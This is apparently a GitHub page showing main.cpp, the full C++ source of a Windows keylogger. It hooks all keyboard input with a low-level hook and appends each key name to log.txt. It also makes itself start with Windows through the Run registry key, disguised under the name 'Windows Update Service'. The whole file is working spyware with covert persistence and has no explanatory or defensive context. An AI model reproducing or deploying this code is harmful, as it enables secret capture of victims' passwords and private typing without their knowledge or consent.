-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathmain.cpp
74 lines (55 loc) · 1.85 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <windows.h>
#include <stdio.h>
#define logfile "log.txt"
HHOOK hHock = NULL;
LRESULT CALLBACK low_level_keyhook(int nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN))) {
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
// get key code
unsigned long tmpScanCode = 1;
tmpScanCode += hooked.scanCode << 16;
tmpScanCode += hooked.flags << 24;
// change code to char name
char charName[MAX_PATH] = {0};
charName[0] = '[';
int i = GetKeyNameText(tmpScanCode , (charName+1), 255) +1; // +1 to add brackets to the name
charName[i] = ']';
// write to file
FILE *file;
file=fopen(logfile,"a+");
fputs(charName,file);
fflush(file);
}
return CallNextHookEx(hHock, nCode, wParam, lParam);
}
int register_at_startup()
{
long result;
HKEY key;
// open the location
result = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ|KEY_WRITE|KEY_QUERY_VALUE, &key);
if (result != ERROR_SUCCESS) return 1;
// get current file directory
char file_path[MAX_PATH];
GetModuleFileName(NULL, file_path, MAX_PATH);
// register the values
LPCTSTR data = file_path;
result = RegSetValueEx(key, "Windows Update Service", 0, REG_SZ, (LPBYTE)data, strlen(data)+1);
if (result != ERROR_SUCCESS) return 1;
RegCloseKey(key);
return 0;
}
int WINAPI WinMain(HINSTANCE inst, HINSTANCE prev, LPSTR cmd, int show)
{
HWND hwnd;
MSG msg;
register_at_startup();
hHock = SetWindowsHookEx(WH_KEYBOARD_LL, low_level_keyhook, NULL, 0);
while(!GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hHock);
return 0;
}